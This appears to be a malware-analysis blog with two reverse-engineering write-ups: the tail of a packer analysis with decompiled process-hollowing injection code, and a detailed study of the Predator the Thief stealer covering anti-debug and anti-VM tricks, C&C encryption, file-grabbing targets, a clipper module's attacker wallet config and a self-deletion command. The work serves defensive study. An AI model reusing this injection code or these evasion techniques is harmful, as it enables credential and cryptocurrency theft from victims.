count = 0;
for ( API->seed = s; count < size; ++count )
{
seed = ms_rand(sc);
*v6 ^= seed;
}
return seed;
}

XOR everywhere \o/

Then when it’s done, it only needs to be decompressed.

Decrypted shellcode entering into the decompression loop

Stage 3 – Launching the payload

Reaching finally the final stage of this packer. This is the exact same pattern like the first shellcode:

  • Find & Stored GetProcAddress & Load Library
  • Saving all WinAPI functions required
  • Pushing the payload

The structure from this one is a bit longer

struct SHELLCODE
{
  PVOID (__stdcall *pLoadLibraryA)(LPCSTR);
  PVOID (__stdcall *pGetProcAddress)(HMODULE, LPSTR);
  char notused;
  PVOID ScOffset;
  PVOID LoadLibraryA;
  PVOID MessageBoxA;
  PVOID GetMessageExtraInfo;
  PVOID hKernel32;
  PVOID WinExec;
  PVOID CreateFileA;
  PVOID WriteFile;
  PVOID CloseHandle;
  PVOID CreateProcessA;
  PVOID GetThreadContext;
  PVOID VirtualAlloc;
  PVOID VirtualAllocEx;
  PVOID VirtualFree;
  PVOID ReadProcessMemory;
  PVOID WriteProcessMemory;
  PVOID SetThreadContext;
  PVOID ResumeThread;
  PVOID WaitForSingleObject;
  PVOID GetModuleFileNameA;
  PVOID GetCommandLineA;
  PVOID RegisterClassExA;
  PVOID CreateWindowA;
  PVOID PostMessageA;
  PVOID GetMessageA;
  PVOID DefWindowProcA;
  PVOID GetFileAttributesA;
  PVOID hNtdll;
  PVOID NtUnmapViewOfSection;
  PVOID NtWriteVirtualMemory;
  PVOID GetStartupInfoA;
  PVOID VirtualProtectEx;
  PVOID ExitProcess;
};

Interestingly, the stack string trick is different from the first stage

Fake loop once, fake loop forever

At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable “j” is the only one that have a sense.

void __cdecl _Inject(SC *sc)
{
  LPSTRING lpFileName; // [esp+0h] [ebp-14h]
  char magic[8]; 
  unsigned int j; 
  int i; 

  strcpy(magic, "apfHQ");
  j = 0;
  i = 0;
  while ( i != 111 )
  {
    lpFileName = (sc->GetFileAttributesA)(magic);
    if ( j > 1 && lpFileName != 0x637ADF )
    {
      i = 111;
      SetupInject(sc);
    }
    ++j;
  }
}

Good ol’ remote thread hijacking

Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.

  ScOffset = sc->ScOffset;
  pNtHeader = (ScOffset->e_lfanew + sc->ScOffset);
  lpApplicationName = (sc->VirtualAlloc)(0, 0x2800, 0x1000, 4);
  status = (sc->GetModuleFileNameA)(0, lpApplicationName, 0x2800);
  
  if ( pNtHeader->Signature == 0x4550 ) // "PE"
  {
    (sc->GetStartupInfoA)(&lpStartupInfo);
    lpCommandLine = (sc->GetCommandLineA)(0, 0, 0, 0x8000004, 0, 0, &lpStartupInfo, &lpProcessInformation);
    status = (sc->CreateProcessA)(lpApplicationName, lpCommandLine);
    if ( status )
    {
      (sc->VirtualFree)(lpApplicationName, 0, 0x8000);
      lpContext = (sc->VirtualAlloc)(0, 4, 4096, 4);
      lpContext->ContextFlags = &loc_10005 + 2;
      status = (sc->GetThreadContext)(lpProcessInformation.hThread, lpContext);
      if ( status )
      {
        (sc->ReadProcessMemory)(lpProcessInformation.hProcess, lpContext->Ebx + 8, &BaseAddress, 4, 0);
        if ( BaseAddress == pNtHeader->OptionalHeader.ImageBase )
          (sc->NtUnmapViewOfSection)(lpProcessInformation.hProcess, BaseAddress);
        lpBaseAddress = (sc->VirtualAllocEx)(
                          lpProcessInformation.hProcess,
                          pNtHeader->OptionalHeader.ImageBase,
                          pNtHeader->OptionalHeader.SizeOfImage,
                          0x3000,
                          0x40);
        (sc->NtWriteVirtualMemory)(
          lpProcessInformation.hProcess,
          lpBaseAddress,
          sc->ScOffset,
          pNtHeader->OptionalHeader.SizeOfHeaders,
          0);
        for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i )
        {
          Section = (ScOffset->e_lfanew + sc->ScOffset + 40 * i + 248);
          (sc->NtWriteVirtualMemory)(
            lpProcessInformation.hProcess,
            Section[1].Size + lpBaseAddress,
            Section[2].Size + sc->ScOffset,
            Section[2].VirtualAddress,
            0);
        }
        (sc->WriteProcessMemory)(
          lpProcessInformation.hProcess,
          lpContext->Ebx + 8,
          &pNtHeader->OptionalHeader.ImageBase,
          4,
          0);
        lpContext->Eax = pNtHeader->OptionalHeader.AddressOfEntryPoint + lpBaseAddress;
        (sc->SetThreadContext)(lpProcessInformation.hThread, lpContext);
        (sc->ResumeThread)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hProcess);
        status = (sc->ExitProcess)(0);
      }
    }
  }

Same but different, but still the same

As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).

Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)

The funny is on the decryption used now in the first stage, it’s the exact copy pasta from the shellcode side.

TEA decryption replaced with rand() + xor like the first shellcode stage

At the start of the second stage, there is not so much to say that the instructions are almost identical

Shellcode n°1 is identical into two different campaign waves

It seems that the second shellcode changed few hours ago (at the date of this paper), so let’s see if other are motivated to make their own analysis of it

Conclusion

Well well, it’s cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer is really awesome for training and teaching someone into malware/reverse engineering.

Well, now it’s time to go serious for the next release 🙂

Stay safe in those weird times o/

Let’s play (again) with Predator the thief

By: fumko
25 December 2019 at 19:49

Whenever I reverse a sample, I am mostly interested in how it was developed, even if in the end the techniques employed are generally the same, I am always curious about what was the way to achieve a task, or just simply understand the code philosophy of a piece of code. It is a very nice way to spot different trending and discovering (sometimes) new tricks that you never know it was possible to do. This is one of the main reasons, I love digging mostly into stealers/clippers for their accessibility for being reversed, and enjoying malware analysis as a kind of game (unless some exceptions like Nymaim that is literally hell).

It’s been 1 year and a half now that I start looking into “Predator The Thief”, and this malware has evolved over time in terms of content added and code structure. This impression could be totally different from others in terms of stealing tasks performed, but based on my first in-depth analysis,, the code has changed too much and it was necessary to make another post on it.

This one will focus on some major aspects of the 3.3.2 version, but will not explain everything (because some details have already been mentioned in other papers,  some subjects are known). Also, times to times I will add some extra commentary about malware analysis in general.

Anti-Disassembly

When you open an unpacked binary in IDA or other disassembler software like GHIDRA, there is an amount of code that is not interpreted correctly which leads to rubbish code, the incapacity to construct instructions or showing some graph. Behind this, it’s obvious that an anti-disassembly trick is used.

predator_anti_analysis_02

The technique exploited here is known and used in the wild by other malware, it requires just a few opcodes to process and leads at the end at the creation of a false branch. In this case, it begins with a simple xor instruction that focuses on configuring the zero flag and forcing the JZ jump condition to work no matter what, so, at this stage, it’s understandable that something suspicious is in progress. Then the MOV opcode (0xB8) next to the jump is a 5 bytes instruction and disturbing the disassembler to consider that this instruction is the right one to interpret beside that the correct opcode is inside this one, and in the end, by choosing this wrong path malicious tasks are hidden.

Of course, fixing this issue is simple, and required just a few seconds. For example with IDA, you need to undefine the MOV instruction by pressing the keyboard shortcut “U”, to produce this pattern.

predator_anti_analysis_03

Then skip the 0xB8 opcode, and pushing on “C” at the 0xE8 position, to configure the disassembler to interpret instruction at this point.

predator_anti_analysis_04

Replacing the 0xB8 opcode by 0x90. with a hexadecimal editor, will fix the issue. Opening again the patched PE, you will see that IDA is now able to even show the graph mode.

After patching it, there are still some parts that can’t be correctly parsed by the disassembler, but after reading some of the code locations, some of them are correct, so if you want to create a function, you can select the “loc” section then pushed on “P” to create a sub-function, of course, this action could lead to some irreversible thing if you are not sure about your actions and end to restart again the whole process to remove a the ant-disassembly tricks, so this action must be done only at last resort.

Code Obfuscation

Whenever you are analyzing Predator, you know that you will have to deal with some obfuscation tricks almost everywhere just for slowing down your code analysis. Of course, they are not complicated to assimilate, but as always, simple tricks used at their finest could turn a simple fun afternoon to literally “welcome to Dark Souls”. The concept was already there in the first in-depth analysis of this malware, and the idea remains over and over with further updates on it. The only differences are easy to guess :

  • More layers of obfuscation have been added
  • Techniques already used are just adjusted.
  • More dose of randomness

As a reversing point of view, I am considering this part as one the main thing to recognized this stealer, even if of course, you can add network communication and C&C pattern as other ways for identifying it, inspecting the code is one way to clarify doubts (and I understand that this statement is for sure not working for every malware), but the idea is that nowadays it’s incredibly easy to make mistakes by being dupe by rules or tags on sandboxes, due to similarities based on code-sharing, or just literally creating false flag.

GetModuleAddress

Already there in a previous analysis, recreating the GetProcAddress is a popular trick to hide an API call behind a simple register call. Over the updates, the main idea is still there but the main procedures have been modified, reworked or slightly optimized.

First of all, we recognized easily the PEB retrieved by spotting fs[0x30] behind some extra instructions.

predator_getmodulehandle_01

then from it, the loader data section is requested for two things:

  • Getting the InLoadOrderModuleList pointer
  • Getting the InMemoryOrderModuleList pointer

For those who are unfamiliar by this, basically, the PEB_LDR_DATA is a structure is where is stored all the information related to the loaded modules of the process.

Then, a loop is performing a basic search on every entry of the module list but in “memory order” on the loader data, by retrieving the module name, generating a hash of it and when it’s done, it is compared with a hardcoded obfuscated hash of the kernel32 module and obviously, if it matches, the module base address is saved, if it’s not, the process is repeated again and again.

predator_getmodulehandle_02

The XOR kernel32 hashes compared with the one created

Nowadays, using hashes for a function name or module name is something that you can see in many other malware, purposes are multiple and this is one of the ways to hide some actions. An example of this code behavior could be found easily on the internet and as I said above, this one is popular and already used.

GetProcAddress / GetLoadLibrary

Always followed by GetModuleAddress, the code for recreating GetProcAddress is by far the same architecture model than the v2, in term of the concept used. If the function is forwarded, it will basically perform a recursive call of itself by getting the forward address, checking if the library is loaded then call GetProcAddress again with new values.

Xor everything

It’s almost unnecessary to talk about it, but as in-depth analysis, if you have never read the other article before, it’s always worth to say some words on the subject (as a reminder). The XOR encryption is a common cipher that required a rudimentary implementation for being effective :

  • Only one operator is used (XOR)
  • it’s not consuming resources.
  • It could be used as a component of other ciphers

This one is extremely popular in malware and the goal is not really to produce strong encryption because it’s ridiculously easy to break most of the time, they are used for hiding information or keywords that could be triggering alerts, rules…

  • Communication between host & server
  • Hiding strings
  • Or… simply used as an absurd step for obfuscating the code
  • etc…

A typical example in Predator could be seeing huge blocks with only two instructions (XOR & MOV), where stacks strings are decrypted X bytes per X bytes by just moving content on a temporary value (stored on EAX), XORed then pushed back to EBP, and the principle is reproduced endlessly again and again. This is rudimentary, In this scenario, it’s just part of the obfuscation process heavily abused by predator, for having an absurd amount of instruction for simple things.

predator_xor_01

Also for some cases, When a hexadecimal/integer value is required for an API call, it could be possible to spot another pattern of a hardcoded string moved to a register then only one XOR instruction is performed for revealing the correct value, this trivial thing is used for some specific cases like the correct position in the TEB for retrieving the PEB, an RVA of a specific module, …

predator_ntsetinformationthread

Finally, the most common one, there is also the classic one used by using a for loop for a one key length XOR key, seen for decrypting modules, functions, and other things…

str = ... # encrypted string

for i, s in enumerate(str):
  s[i] = s[i] ^ s[len(str)-1]

Sub everything

Let’s consider this as a perfect example of “let’s do the same exact thing by just changing one single instruction”, so in the end, a new encryption method is used with no effort for the development. That’s how a SUB instruction is used for doing the substitution cipher. The only difference that I could notice it’s how the key is retrieved.

predator_sub_02

Besides having something hardcoded directly, a signed 32-bit division is performed, easily noticeable by the use of cdq & idiv instructions, then the dl register (the remainder) is used for the substitution.

Stack Strings

stack strings

What’s the result in the end?

Merging these obfuscation techniques leads to a nonsense amount of instructions for a basic task, which will obviously burn you some hours of analysis if you don’t take some time for cleaning a bit all that mess with the help of some scripts or plenty other ideas, that could trigger in your mind. It could be nice to see these days some scripts released by the community.

predator_main

Simple tricks lead to nonsense code

Anti-Debug

There are plenty of techniques abused here that was not in the first analysis, this is not anymore a simple PEB.BeingDebugged or checking if you are running a virtual machine, so let’s dig into them. one per one except CheckRemoteDebugger! This one is enough to understand by itself :’)

NtSetInformationThread

One of the oldest tricks in windows and still doing its work over the years. Basically in a very simple way (because there is a lot thing happening during the process), NtSetInformationThread is called with a value (0x11) obfuscated by a XOR operator. This parameter is a ThreadInformationClass with a specific enum called ThreadHideFromDebugger and when it’s executed, the debugger is not able to catch any debug information. So the supposed pointer to the corresponding thread is, of course, the malware and when you are analyzing it with a debugger, it will result to detach itself.

predator_ntsetinformationthread

CloseHandle/NtClose

Inside WinMain, a huge function is called with a lot of consecutive anti-debug tricks, they were almost all indirectly related to some techniques patched by TitanHide (or strongly looks like), the first one performed is a really basic one, but pretty efficient to do the task.

Basically, when CloseHandle is called with an inexistent handle or an invalid one, it will raise an exception and whenever you have a debugger attached to the process, it will not like that at all. To guarantee that it’s not an issue for a normal interaction a simple __try / __except method is used, so if this API call is requested, it will safely lead to the end without any issue.

predator_closehandle

The invalid handle used here is a static one and it’s L33T code with the value 0xBAADAA55 and makes me bored as much as this face.

not_amused

That’s not a surprise to see stuff like this from the malware developer. Inside jokes, l33t values, animes and probably other content that I missed are something usual to spot on Predator.

ProcessDebugObjectHandle

When you are debugging a process, Microsoft Windows is creating a “Debug” object and a handle corresponding to it. At this point, when you want to check if this object exists on the process, NtQueryInformationProcess is used with the ProcessInfoClass initialized by  0x1e (that is in fact, ProcessDebugObjectHandle).

predator_antidebug

In this case, the NTStatus value (returning result by the API call) is an error who as the ID 0xC0000353, aka STATUS_PORT_NOT_SET. This means, “An attempt to remove a process’s DebugPort was made, but a port was not already associated with the process.”. The anti-debug trick is to verify if this error is there, that’s all.

NtGetContextThread

This one is maybe considered as pretty wild if you are not familiar with some hardware breakpoints. Basically, there are some registers that are called “Debug Register” and they are using the DRX nomenclature  (DR0 to DR7). When GetThreadContext is called, the function will retrieve al the context information from a thread.

For those that are not familiar with a context structure, it contains all the register data from the corresponding element. So, with this data in possession, it only needs to check if those DRX registers are initiated with a value not equal to 0.

predator_getthreadcontext

On the case here, it’s easily spottable to see that 4 registers are checked

if (ctx->Dr0 != 0 || ctx->Dr1 != 0 || ctx->Dr2 != 0 || ctx->Dr3 != 0)

Int 3 breakpoint

int 3 (or Interrupt 3) is a popular opcode to force the debugger to stop at a specific offset. As said in the title, this is a breakpoint but if it’s executed without any debugging environment, the exception handler is able to deal with this behavior and will continue to run without any issue. Unless I missed something, here is the scenario.

predator_breakpoint

By the way,  as another scenario used for this one (the int 3), the number of this specific opcode triggered could be also used as an incremented counter, if the counter is above a specific value, a simplistic condition is sufficient to check if it’s executed into a debugger in that way.

Debug Condition

With all the techniques explained above, in the end, they all lead to a final condition step if of course, the debugger hasn’t crashed. The checking task is pretty easy to understand and it remains to a simple operation: “setting up a value to EAX during the anti-debug function”, if everything is correct this register will be set to zero, if not we could see all the different values that could be possible.

anti_debug_condition

bloc in red is the correct condition over all the anti-debug tests

…And when the Anti-Debug function is done, the register EAX is checked by the test operator, so the ZF flag is determinant for entering into the most important loop that contains the main function of the stealer.

predator_anti_debug_02

Anti-VM

The Anti VM is presented as an option in Predator and is performed just after the first C&C requests.

Anti-VM-Predator-Option

Tricks used are pretty olds and basically using Anti-VM Instructions

  • SIDT
  • SGDT
  • STR
  • CPUID (Hypervisor Trick)

By curiosity, this option is not by default performed if the C&C is not reachable.

Paranoid & Organized Predator

When entering into the “big main function”, the stealer is doing “again” extra validations if you have a valid payload (and not a modded one), you are running it correctly and being sure again that you are not analyzing it.

This kind of paranoid checking step is a result of the multiple cases of cracked builders developed and released in the wild (mostly or exclusively at a time coming from XakFor.Net). Pretty wild and fun to see when Anti-Piracy protocols are also seen in the malware scape.

Then the malware is doing a classic organized setup to perform all the requested actions and could be represented in that way.

Predator_Roadmap

Of course as usual and already a bit explained in the first paper, the C&C domain is retrieved in a table of function pointers before the execution of the WinMain function (where the payload is starting to do tasks).

__initerm

You can see easily all the functions that will be called based on the starting location (__xc_z) and the ending location (__xc_z).

pointer_c2

Then you can spot easily the XOR strings that hide the C&C domain like the usual old predator malware.

xor_c2_domain

Data Encryption & Encoding

Besides using XOR almost absolutely everywhere, this info stealer is using a mix of RC4 encryption and base64 encoding whenever it is receiving data from the C&C. Without using specialized tools or paid versions of IDA (or whatever other software), it could be a bit challenging to recognize it (when you are a junior analyst), due to some modification of some part of the code.

Base64

For the Base64 functions, it’s extremely easy to spot them, with the symbol values on the register before and after calls. The only thing to notice with them, it’s that they are using a typical signature… A whole bloc of XOR stack strings, I believed that this trick is designed to hide an eventual Base64 alphabet from some Yara rules.

base64_xored

By the way, the rest of the code remains identical to standard base64 algorithms.

RC4

For RC4, things could be a little bit messy if you are not familiar at all with encryption algorithm on a disassembler/debugger, for some cases it could be hell, for some case not. Here, it’s, in fact, this amount of code for performing the process.

RC4

Blocs are representing the Generation of the array S, then performing the Key-Scheduling Algorithm (KSA) by using a specific secret key that is, in fact, the C&C domain! (if there is no domain, but an IP hardcoded, this IP is the secret key), then the last one is the Pseudo-random generation algorithm (PRGA).

For more info, some resources about this algorithm below:

Mutex & Hardware ID

The Hardware ID (HWID) and mutex are related, and the generation is quite funky,  I would say, even if most of the people will consider this as something not important to investigate, I love small details in malware, even if their role is maybe meaningless, but for me, every detail counts no matter what (even the stupidest one).

Here the hardware ID generation is split into 3 main parts. I had a lot of fun to understand how this one was created.

First, it will grab all the available logical drives on the compromised machine, and for each of them, the serial number is saved into a temporary variable. Then, whenever a new drive is found, the hexadecimal value is added to it. so basically if the two drives have the serial number “44C5-F04D” and “1130-DDFF”, so ESI will receive 0x44C5F04D then will add 0x1130DFF.

When it’s done, this value is put into a while loop that will divide the value on ESI by 0xA and saved the remainder into another temporary variable, the loop condition breaks when ESI is below 1. Then the results of this operation are saved, duplicated and added to itself the last 4 bytes (i.e 1122334455 will be 112233445522334455).

If this is not sufficient, the value is put into another loop for performing this operation.

for i, s in enumerate(str):
  if i & 1:
    a += chr(s) + 0x40
  else:
    a += chr(s)

It results in the creation of an alphanumeric string that will be the archive filename used during the POST request to the C&C.

predator_mutex

the generated hardware ID based on the serial number devices

But wait! there is more… This value is in part of the creation of the mutex name… with a simple base64 operation on it and some bit operand operation for cutting part of the base64 encoding string for having finally the mutex name!

Anti-CIS

A classic thing in malware, this feature is used for avoiding infecting machines coming from the Commonwealth of Independent States (CIS) by using a simple API call GetUserDefaultLangID.

Anti_CIS

The value returned is the language identifier of the region format setting for the user and checked by a lot of specific language identifier, of courses in every situation, all the values that are tested, are encrypted.

Language ID SubLanguage Symbol Country
0x0419 SUBLANG_RUSSIAN_RUSSIA Russia
0x042b SUBLANG_ARMENIAN_ARMENIA Armenia
0x082c SUBLANG_AZERI_CYRILLIC Azerbaijan
0x042c SUBLANG_AZERI_LATIN Azerbaijan
0x0423 SUBLANG_BELARUSIAN_BELARUS Belarus
0x0437 SUBLANG_GEORGIAN_GEORGIA Georgia
0x043f SUBLANG_KAZAK_KAZAKHSTAN Kazakhstan
0x0428 SUBLANG_TAJIK_TAJIKISTAN Tajikistan
0x0442 SUBLANG_TURKMEN_TURKMENISTAN Turkmenistan
0x0843 SUBLANG_UZBEK_CYRILLIC Uzbekistan
0x0443 SUBLANG_UZBEK_LATIN Uzbekistan
0x0422 SUBLANG_UKRAINIAN_UKRAINE Ukraine

Files, files where are you?

When I reversed for the first time this stealer, files and malicious archive were stored on the disk then deleted. But right now, this is not the case anymore. Predator is managing all the stolen data into memory for avoiding as much as possible any extra traces during the execution.

Predator is nowadays creating in memory a lot of allocated pages and temporary files that will be used for interactions with real files that exist on the disk. Most of the time it’s basically getting handles, size and doing some operation for opening, grabbing content and saving them to a place in memory. This explanation is summarized in a “very” simplify way because there are a lot of cases and scenarios to manage this. 

Another point to notice is that the archive (using ZIP compression), is also created in memory by selecting folder/files.

zip_generation_02

The generated archive in memory

It doesn’t mean that the whole architecture for the files is different, it’s the same format as before.

Default_Archive

an example of archive intercepted during the C&C Communication

Stealing

After explaining this many times about how this stuff, the fundamental idea is boringly the same for every stealer:

  • Check
  • Analyzing (optional)
  • Parsing (optional)
  • Copy
  • Profit
  • Repeat

What could be different behind that, is how they are obfuscating the files or values to check… and guess what… every malware has their specialties (whenever they are not decided to copy the same piece of code on Github or some whatever generic .NET stealer) and in the end, there is no black magic, just simple (or complex) enigma to solve. As a malware analyst, when you are starting into analyzing stealers, you want literally to understand everything, because everything is new, and with the time, you realized the routine performed to fetch the data and how stupid it is working well (as reminder, it might be not always that easy for some highly specific stuff).

In the end, you just want to know the targeted software, and only dig into those you haven’t seen before, but every time the thing is the same:

  • Checking dumbly a path
  • Checking a register key to have the correct path of a software
  • Checking a shortcut path based on an icon
  • etc…

Beside that Predator the Thief is stealing a lot of different things:

  1. Grabbing content from Browsers (Cookies, History, Credentials)
  2. Harvesting/Fetching Credit Cards
  3. Stealing sensible information & files from Crypto-Wallets
  4. Credentials from FTP Software
  5. Data coming from Instant communication software
  6. Data coming from Messenger software
  7. 2FA Authenticator software
  8. Fetching Gaming accounts
  9. Credentials coming from VPN software
  10. Grabbing specific files (also dynamically)
  11. Harvesting all the information from the computer (Specs, Software)
  12. Stealing Clipboard (if during the execution of it, there is some content)
  13. Making a picture of yourself (if your webcam is connected)
  14. Making screenshot of your desktop
  15. It could also include a Clipper (as a modular feature).
  16. And… due to the module manager, other tasks that I still don’t have mentioned there (that also I don’t know who they are).

Let’s explain just some of them that I found worth to dig into.

Browsers

Since my last analysis, things changed for the browser part and it’s now divided into three major parts.

  • Internet Explorer is analyzed in a specific function developed due that the data is contained into a “Vault”, so it requires a specific Windows API to read it.
  • Microsoft Edge is also split into another part of the stealing process due that this one is using unique files and needs some tasks for the parsing.
  • Then, the other browsers are fetched by using a homemade static grabber

Browsers

Grabber n°1 (The generic one)

It’s pretty fun to see that the stealing process is using at least one single function for catching a lot of things. This generic grabber is pretty “cleaned” based on what I saw before even if there is no magic at all, it’s sufficient to make enough damages by using a recursive loop at a specific place that will search all the required files & folders.

By comparing older versions of predator, when it was attempting to steal content from browsers and some wallets, it was checking step by step specific repositories or registry keys then processing into some loops and tasks for fetching the credentials. Nowadays, this step has been removed (for the browser part) and being part of this raw grabber that will parse everything starting to %USERS% repository.

grabber

As usual, all the variables that contain required files are obfuscated and encrypted by a simple XOR algorithm and in the end, this is the “static” list that the info stealer will be focused

File grabbed Type Actions
Login Data Chrome / Chromium based Copy & Parse
Cookies Chrome / Chromium based Copy & Parse
Web Data Browsers Copy & Parse
History Browsers Copy & Parse
formhistory.sqlite Mozilla Firefox & Others Copy & Parse
cookies.sqlite Mozilla Firefox & Others Copy & Parse
wallet.dat Bitcoin Copy & Parse
.sln Visual Studio Projects Copy filename into Project.txt
main.db Skype Copy & Parse
logins.json Chrome Copy & Parse
signons.sqlite Mozilla Firefox & Others Copy & Parse
places.sqlite Mozilla Firefox & Others Copy & Parse
Last Version Mozilla Firefox & Others Copy & Parse

Grabber n°2 (The dynamic one)

There is a second grabber in Predator The Thief, and this not only used when there is available config loaded in memory based on the first request done to the C&C. In fact, it’s also used as part of the process of searching & copying critical files coming from wallets software, communication software, and others…

dynamic_grabber

The “main function” of this dynamic grabber only required three arguments:

  • The path where you want to search files
  • the requested file or mask
  • A path where the found files will be put in the final archive sent to the C&C

dynamic_grabber_args

When the grabber is configured for a recursive search, it’s simply adding at the end of the path the value “..” and checking if the next file is a folder to enter again into the same function again and again.

In the end, in the fundamentals, this is almost the same pattern as the first grabber with the only difference that in this case, there are no parsing/analyzing files in an in-depth way. It’s simply this follow-up

  1. Find a matched file based on the requested search
  2. creating an entry on the stolen archive folder
  3. setting a handle/pointer from the grabbed file
  4. Save the whole content to memory
  5. Repeat

Of course, there is a lot of particular cases that are to take in consideration here, but the main idea is like this.

What Predator is stealing in the end?

If we removed the dynamic grabber, this is the current list (for 3.3.2) about what kind of software that is impacted by this stealer, for sure, it’s hard to know precisely on the browser all the one that is impacted due to the generic grabber, but in the end, the most important one is listed here.

VPN

  • NordVPN

Communication

  • Jabber
  • Discord
  • Skype

FTP

  • WinSCP
  • WinFTP
  • FileZilla

Mails

  • Outlook

2FA Software

  • Authy (Inspired by Vidar)

Games

  • Steam
  • Battle.net (Inspired by Kpot)
  • Osu

Wallets

  • Electrum
  • MultiBit
  • Armory
  • Ethereum
  • Bytecoin
  • Bitcoin
  • Jaxx
  • Atomic
  • Exodus

Browser

  • Mozilla Firefox (also Gecko browsers using same files)
  • Chrome (also Chromium browsers using same files)
  • Internet Explorer
  • Edge
  • Unmentioned browsers using the same files detected by the grabber.

Also beside stealing other actions are performed like:

  • Performing a webcam picture capture
  • Performing a desktop screenshot

Loader

There is currently 4 kind of loader implemented into this info stealer

  1. RunPE
  2. CreateProcess
  3. ShellExecuteA
  4. LoadPE
  5. LoadLibrary

For all the cases, I have explained below (on another part of this analysis) what are the options of each of the techniques performed. There is no magic, there is nothing to explain more about this feature these days. There are enough articles and tutorials that are talking about this. The only thing to notice is that Predator is designed to load the payload in different ways, just by a simple process creation or abusing some process injections (i recommend on this part, to read the work from endgame).

Module Manager

Something really interesting about this stealer these days, it that it developed a feature for being able to add the additional tasks as part of a module/plugin package. Maybe the name of this thing is wrongly named (i will probably be fixed soon about this statement). But now it’s definitely sure that we can consider this malware as a modular one.

Module Manager

When decrypting the config from check.get, you can understand fast that a module will be launched, by looking at the last entry…

[PREDATOR_CONFIG]#[GRABBER]#[NETWORK_INFO]#[LOADER]#[example]

This will be the name of the module that will be requested to the C&C. (this is also the easiest way to spot a new module).

  • example.get
  • example.post

The first request is giving you the config of the module (on my case it was like this), it’s saved but NOT decrypted (looks like it will be dealt by the module on this part). The other request is focused on downloading the payload, decrypting it and saving it to the disk in a random folder in %PROGRAMDATA% (also the filename is generated also randomly), when it’s done, it’s simply executed by ShellExecuteA.

shellexecute_module

Also, another thing to notice, you know that it’s designed to launch multiple modules/plugins.

Clipper (Optional module)

The clipper is one example of the Module that could be loaded by the module manager. As far as I saw, I only see this one (maybe they are other things, maybe not, I don’t have the visibility for that).

Disclaimer: Before people will maybe mistaken, the clipper is proper to Predator the Thief and this is NOT something coming from another actor (if it’s the case, the loader part would be used).

clipper_main

Clipper WinMain function

This malware module is developed in C++, and like Predator itself, you recognized pretty well the obfuscation proper to it (Stack strings, XOR, SUB, Code spaghetti, GetProcAddress recreated…). Well, everything that you love for slowing down again your analysis.

As detailed already a little above, the module is designed to grab the config from the main program, decrypting it and starting to do the process routine indefinitely:

  1. Open Clipboard
  2. Checking content based on the config loaded
  3. If something matches put the malicious wallet
  4. Sleep
  5. Repeat

The clipper config is rudimentary using “|” as a delimiter. Mask/Regex on the left, malicious wallet on the right.

1*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
3*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
0x*:0x7996ad65556859C0F795Fe590018b08699092B9C|
q*:qztrpt42h78ks7h6jlgtqtvhp3q6utm7sqrsupgwv0|
G*:GaJvoTcC4Bw3kitxHWU4nrdDK3izXCTmFQ|
X*:XruZmSaEYPX2mH48nGkPSGTzFiPfKXDLWn|
L*:LdPvBrWvimse3WuVNg6pjH15GgBUtSUaWy|
t*:t1dLgBbvV6sXNCMUSS5JeLjF4XhhbJYSDAe|
4*:44tLjmXrQNrWJ5NBsEj2R77ZBEgDa3fEe9GLpSf2FRmhexPvfYDUAB7EXX1Hdb3aMQ9FLqdJ56yaAhiXoRsceGJCRS3Jxkn|
D*:DUMKwVVAaMcbtdWipMkXoGfRistK1cC26C|
A*:AaUgfMh5iVkGKLVpMUZW8tGuyjZQNViwDt|

There is no communication with the C&C when the clipper is switching wallet, it’s an offline one.

Self Removal

When the parameters are set to 1 in the Predator config got by check.get, the malware is performing a really simple task to erase itself from the machine when all the tasks are done.

self_remove

By looking at the bottom of the main big function where all the task is performed, you can see two main blocs that could be skipped. these two are huge stack strings that will generate two things.

  • the API request “ShellExecuteA”
  • The command “ping 127.0.0.1 & del %PATH%”

When all is prepared the thing is simply executed behind the classic register call. By the way, doing a ping request is one of the dozen way to do a sleep call and waiting for a little before performing the deletion.

ShellExecuteA

This option is not performed by default when the malware is not able to get data from the C&C.

Telemetry files

There is a bunch of files that are proper to this stealer, which are generated during the whole infection process. Each of them has a specific meaning.

Information.txt

  1. Signature of the stealer
  2. Stealing statistics
  3. Computer specs
  4. Number of users in the machine
  5. List of logical drives
  6. Current usage resources
  7. Clipboard content
  8. Network info
  9. Compile-time of the payload

Also, this generated file is literally “hell” when you want to dig into it by the amount of obfuscated code.

Information

I can quote these following important telemetry files:

Software.txt

  • Windows Build Version
  • Generated User-Agent
  • List of software installed in the machine (checking for x32 and x64 architecture folders)

Actions.txt

  • List of actions & telemetry performed by the stealer itself during the stealing process

Projects.txt

  • List of SLN filename found during the grabber research (the static one)

CookeList.txt

  • List of cookies content fetched/parsed

Network

User-Agent “Builder”

Sometimes features are fun to dig in when I heard about that predator is now generating dynamic user-agent, I was thinking about some things but in fact, it’s way simpler than I thought.

The User-Agent is generated in 5 steps

  1. Decrypting a static string that contains the first part of the User-Agent
  2. Using GetTickCount and grabbing the last bytes of it for generating a fake builder version of Chrome
  3. Decrypting another static string that contains the end of the User-Agent
  4. Concat Everything
  5. Profit

Tihs User-Agent is shown into the software.txt logfile.

C&C Requests

There is currently 4 kind of request seen in Predator 3.3.2 (it’s always a POST request)

Request Meaning
api/check.get Get dynamic config, tasks and network info
api/gate.get ?…… Send stolen data
api/.get Get modular dynamic config
api/.post Get modular dynamic payload (was like this with the clipper)

The first step – Get the config & extra Infos

For the first request, the response from the server is always in a specific form :

  • String obviously base64 encoded
  • Encrypted using RC4 encryption by using the domain name as the key

When decrypted, the config is pretty easy to guess and also a bit complex (due to the number of options & parameters that the threat actor is able to do).

[0;1;0;1;1;0;1;1;0;512;]#[[%userprofile%\Desktop|%userprofile%\Downloads|%userprofile%\Documents;*.xls,*.xlsx,*.doc,*.txt;128;;0]]#[Trakai;Republic of Lithuania;54.6378;24.9343;85.206.166.82;Europe/Vilnius;21001]#[]#[Clipper]

